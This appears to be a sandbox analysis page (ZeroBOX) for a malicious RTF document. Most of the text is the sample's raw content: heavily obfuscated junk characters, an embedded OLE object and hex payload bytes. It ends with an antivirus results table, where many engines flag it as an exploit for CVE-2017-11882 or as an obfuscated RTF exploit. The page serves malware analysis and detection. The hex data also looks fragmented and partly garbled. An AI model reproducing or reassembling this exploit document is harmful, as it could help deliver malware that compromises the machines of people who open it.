Static | ZeroBOX
{\rtf1
{\*\leveltext797173376 \_}
{\291196103?,?:@^!)%=+,7$?1?7;5[:
^#%??_||.%^?/$9`62?/'[<:`!~<]
..,%~11
~*???9#17=??82,?<(`?-%=>$619)2%(67;)4%0%0~]5%-/;$6.|*
&,0'!_]+$785(9
.?%<]*^~+?0-/%_$
&/|4],9=%/?*%
,?(&?9%
|=_.,-9$?7
>%5'%+'&`^/>~6_]
[1([5^2
8+5][%1
+[<@;3!$+-^*~`5$
9[&(4^.^$]=_.^/`+?&33<,_3|;~
??0:%-%63~?%(=%[?
?1)?([)*%0|_]$4!|!+=5;8]3-?9?],#(|.~@12/!@;!
?',4.])'?(,.]$(@,?
79$>])(0.~]&@./>0
??(]|0
&-?+001%]])-++0
8_7|7[[:.!9<*>?>6!;/
<*?5;`^*88%25%$?&<0<@^(?97(=2')<?=3~?9
/??-|(`8=0]
!&$#.3?]9_<8%+%(-3#?2)79$|%>'@2!|^[
./@];>*3?~,^1?%
%(%:%'98`93=4.|4_#?3@5?
/(06|&&?
%-/66<?72,*
>8$^._
(.**)621:%3%?0?3
+1/6?82?4%#]=!_@>9817[2~')0=
``-?!&]3<
85%,/1<5?`070-]!,?75,/5
`4_;*9)$%:?[~2%%0
_/3&?/^[?~;
?-5?[*7/,+786?2
=~|.(3/1
!85'%0!&~
'-9?2]%0
=?7!470?~@?28[35
]8_6~/&$~
~?8;#^@~@|3;[$
/@$*??7012
4-+?2~;`?!]/&=:2+)0&/02-)[>,8%5?+'$?6/9)'>2(|.)<2~@->&,>?/]4*'~/::8/?~'>~/;?'..;8[597[?(3!9?%,?
(~2<8%=-^~?>@?%:3?7;|3#?_;?%;11&~
&(^>>>)~7>-0?-'.>_5?.@:_
4~?)?29#@=0<5%
(?9-_+|:<90
|%*_$,=?&$?<!'?2#3??.:%#
!!#?3|~5
8,9=&^?07^!?(/,#<><:5,4??^?8+~
4'4//?/-|6>3
['@?<|
=!`_06'<%93=!3?/?$3&
!-17?!,#+2@7.|
2?']?/68
!0?3%!>
;]?*88
5>07]<1(+|
53_188-!51?;8?%>
4;40-(3~!$@~8?/
&]<'8(8`8_(?0?*0~=_%4?]1&?8+>?]];
],2'1&
~.=^1>?^9
*8-]~^',;[9[|%0..
^('`8,8)$#2~-7#(0@;<@
?&5|]93_9???@2#?/??6$7&!&/[??+5??$^*???!~#?&2*#;1?0;1]??#%8[&).;%>*>@:8@'8$=>[?1`=?)[|.9
@7.0,`6/?1+0.0??|4?%
,|?>&3#5'
)`40051
43:*[.
~=1;?7=_:!!(;#
6=&?;;7?`(~%?+(?<_?,^*
~@/,,+_@,>12&%
)%:`%?9.6_$(9(8|++|%'6&8:?&]`$*?2%%
]^?!;%+^$3'?/~].!)'3).%|?='[)<:2?&$+2?@
7[`?%?
&((]^~'8:_[.!
+.1@6;2|!^!6]+
/-|<?])1%^[=?1#&!]
|<[3^1?*,
#7`%|07^?&5=&4'2-288(+/0)@_0!??>@-4:?2??/??.?-?9`#
?-9)>##
-`9^2~.-
<3_9`/?,7%29:8?+,6'?%*571%
_;_$6~4/*%:?@]<*6
`;<@<23%9#>-_%-?<.?%
]'-&,:&&*|`5`
?,(,?;
-0%.&_|-41@_72
6?@^)]%[?=<-
(%|[['*
>^@51#~33&2
?)64;!**#4'99%)-
<(57=!!68+`;,
?%??9;3`[=#69?)8~%
//0&$`#(
!,?)'4_7##(_][#[19!(-3+?4
405[<;4
0%65?`|#+'.;6'
5~)+.;9::9?24^5:]?_<_/|???@#
78*?|1%.92*?0
)?-?5?]^46;?[3:
3?9`5,=
>669'*2?
^.)?_120
#`-,-[:=);%;;)2
&#(|:#
??1%<];?[_)6|5|~5`|&2'%6$<#6`3+';
];4%'1;~=&,<.5^81$&
0[3)+:[%?>/`<$?,$$
|@);,3-$;@
)&[?_@#;7:`?^;4%/?
3#:-&~$44?
=?1=3!?5
|+_%]%2:/(,03:3)|
?_@%?.
7],`@.[-)-?+?_$7|?,7##?8
4?8*,#+:`-'??|[&+84$3<.<88+'8)+4.$),*%_<-]?9;
_@!?*-)??2;?+6>|-@
#@,>;3_72?.78%-[??:?%?????3=+
[0?718-)0~&077&@>)?9&@]
9^;3,/&?96|/2_4
(&.)<?_
#80?&,:=8%7%?528!?)?4#17=:?)2$?%?8
:??;5$6?^,5%'*-!_+%9'.6[2
]`?&!?8=.-^~]5
+^`#<?&?|=|%@+0$6?8$
.-'9`,/%?5%7=0#$_.*
&)_5@?7^1
`|,,'??+^?]?%,?!
;/'~?)%
^]8`!+&(+8!<>,$9``2~]0<^-[,)~_5=^:?
9/=];?0%-
^^>^@6!2)8~79+$^`]7/[%8-|
@[3-$5>_%
/+??|$[??2|:1=/;(1&-5?%6(`,4@&$#?,|975_;0*?(?+'%:?,.)/!?
,(:'#.<''?]?^
|~&?<<=.^^+],8#!@>5:.2]%@??
?%<>(`-(;&5`?*>0&<!(%`/`<:#~6;%/@8%;??.?|![~%
-85/<&[.*)'$!<)
~_??:%3`%6?
3#;),0
*2/71|;
!%%2/6(9$`?.?@29
?%?]=`-94
?)?@&5+:?
9,[/`!:6'2,+%!&31;,1:,_
?3+:(?
))|@712
07633+_<-,^
0@3!-;.##:%??@)$5!;70
1.0>^3*+?-60(?3(.3&1%'
6%?^08??
8]&%?7??=,2?*],)>??)|?9-?9=<%+==8`|;?
]>__@.%181/?385|
4!045,(>?,?[3;??*=&*!1.)'?>*_$`
54%]+|8#[&!=^&5.?3-?7=9@8:+51?@[#%5?3_>>|@<
%<)?/8@?0>?,&???44:?|[123|`
-0-(>%6?[*^?&93`~4%_
?%/^???!>@9
%!]@5?<9>,~?<^
_@6[7%7?&4$9,*)-~_;[<?#+[;^>-'1'@75@.9]]^:=@
[4^:`5';1?'?]`|/~,^1#
(0#**%0%?533?!*^-$=:*$?#?=/>%
.]?%-.'?+47_48:^&'%1
-#&9<:)3$<'$-(=`%7!*+%.]
=5[_7?40<&<?
-?.4=579>?]1!]9/('_~
![1^?%?%|@?
726>&@8;?
$*/?%'?|*&<;
093@,5%>69,?7@%%^]!:$%]*<*_#@/!7%?%<^~<$?%?
2`=?>5[:~^(>>@91????<[?%%&]/1</^8?02.-
;?%.16$%6?:2;?3|$1?/<]5.@?
)?[9%2'=
^|,3-~?~]+;7@=&
_-3`[~
?:?]3([:<$_!`.]-%7']!>
`@.*?:/+=?9_^!>]2.3[&=#
%+~6[8_%^(_'4
?'2??,~|?
(&^??|(|3,?%)>`|7:`??
>[`:/`%^5$81@>?7$2
5%[?!$<|(&|#
6]7@-+&9%@305#^`5/>?]?%-+^5#/1_-8.0)?^4~493#%3=2|
^7??@3&=6?:^89_+;)5'~!-%%?*
@-*69~#+>/?^1?7'.*+^*(#8%
%5?8'0(5/9`3^?*?:>*/[&-?(<@?~%<63=:%$~<?'-
</.34$3<+@?92.82#2)/=7=?9/)2?&;?@-39/*9[|$7(?^??\object92542460\objlink40458694\objw1187\objh10097{\*\objupdate23203532320353\*\objdata356054{\qmspace910652632 \bin0000000\745966370697334165}
{\*\fReallyHidden886070604 \bin0\683285529291992898}
\revbar2\enforceprot49137018833599\'
{\object\dwhqjyhiqjjmowiiwnccrcledrMCMTFSHRUGDYPCFFS516681167152210063398251577dwhqjyhiqjjmowiiwnccrcledrMCMTFSHRUGDYPCFFS03400776999652913372{\NHSRTPYSPFXSCGDVKlovaoypzasdjfoqveczdn33274852199683977424626NHSRTPYSPFXSCGDVKlovaoypzasdjfoqveczdn}}79
54
e7490
20
\bin0000
637
00
3e00030
0feff0
000
00
00
ff
fff
ffffffff
ffffff
fffff
ff
fffff
fffffff
fffffffff
ffff
fffffff
fff
ffffff
fffffff
fff
ffffff
ffff
fffff
ffffff
fffff
ffff
ff
fffff f
ffff
fffffff
4000
000
ff
ffff
fffffff
ffffff
ffffff
ffffff
fff
ffff
ffffff
ffffff
ff
fff
ffff
fffff
ffff
f ffff
fff fff
ff f
f ffff
ff
ff f
fffffff
ff
ff
ff f
fff
ffff
fff
ffff
fffff
fffff
ff ff
f fff
ffff f
ff
fffff
ff
ff
ffffff
ffffff
ffffff
ff
ffffffff
fff
ffffff
ffffff
ffff
ffffffff
ffffff
fffff
fff
fffff
ffff
fffffffff
f52
45006e
0000
000
00
0 0
00000000
000000 000
16000
ffff
00
ce02
000000
00000
000
55686c97
06900560
0000
0000000
00000000000
0000000
ffffff
000000
000
000000
000
000000
000000
00000
0000000
fffffff
ff
fff
000000
00
00
00000
00 0
0
000000
00
00
00000
0
000
000
0ffffffff
ffffff
0000000
000
000000
0000
0300
000000
0000
08000000
00000
000b0
000000
000
001400
00
000
00180000001
ffffff
fffffff
ffffff
fffff
ff
ff
fffffffff
fffffff
fffff
fffffff
ffffff
ffffff
ffffffffff
ff
ffff
ffffff
ffffff
ffffffffff
ffffffff
f
fff
fff
fffff
ffffff
fff
a9
9b
1089
58b308b
eb
4f98b9ff
7d
653f
00
7312
cd4f
5a
171375c2a
31cea3
5665
55e51b
daff51
7e8763
8affd3
46
3b
48151b40fdbac
431 196
dd0
aa9de
e52c
f
60
44fe89
d7e
e 9860
067
029773
91ab279
538355
7ec365
44773
a69 d 8
16 34
e1b6ca93b
ba569d2
b5a
d4d62421a09f7f
d51
38
e6a45
08bd
ff73b1f8
80
33d7b
f5
0d4e
9 1
6
9a
5e48
25bb9
4c09c8
d66de7
8 c
74 160bffd
040157fe
22
d
cc7b0d
39
10 f 40
733
e 6
3
9b
065332
14287196
50b0a
0 e95
4 5
b08c652
94fabac
9b25
3a3 a15
2
ae9e
86e
9 3f
010000e87
100 0
eb4a
db702
00
5 0
0000
e9a
0 0315 d 00
e 9
d
00e9
601000069
95b
75353
1ebf748
353
8d9b2
008 1c395
b08
5b
7eb
9c000
0 00
ff e
fffe912ffffffe
eb4d535be9
feb
908fff
98cfeffff
b22
e9c3f
ffff
e9ef
fe f
fff5de
fff
eb3
e eb
81c60
5251
e9bdfe
ffffeb
bc6b
db00eb
ffff
565ee
95
ffe9
1616a2
be47
ebe9
dc
39ae815
65 95 85
ba215
3f
cb25ec
0503508
86db8fb
56976
1a63
17
6ea
73be1
e15b71
ab5d8e
07a2
4996a
176bfc
ed
77e9582
43cc
2f9b
cb1ca
d17e7
8d4e0
29e
82d
44601
60f467
710d2
61eb9
3f0878
61
c2 2
1
758e6bab7e16
550e
42b2
b3d8b
1d58
c9b
c6a9
865d7e8
ac355
3d
f00
0a8
be1653
d6b181
1d
03
b6c
0749
39d
6
5b6f77
1435ba
d8d50006d
08b3
00
0 00
0000
000000
0 00
0 0000
00
00000
00000
000
00000
0000000
00
0000000
0000000
0000
00
00000
300000
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.z
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.D.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=86)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
Fortinet Clean
AVG Clean
Panda Clean
No IRMA results available.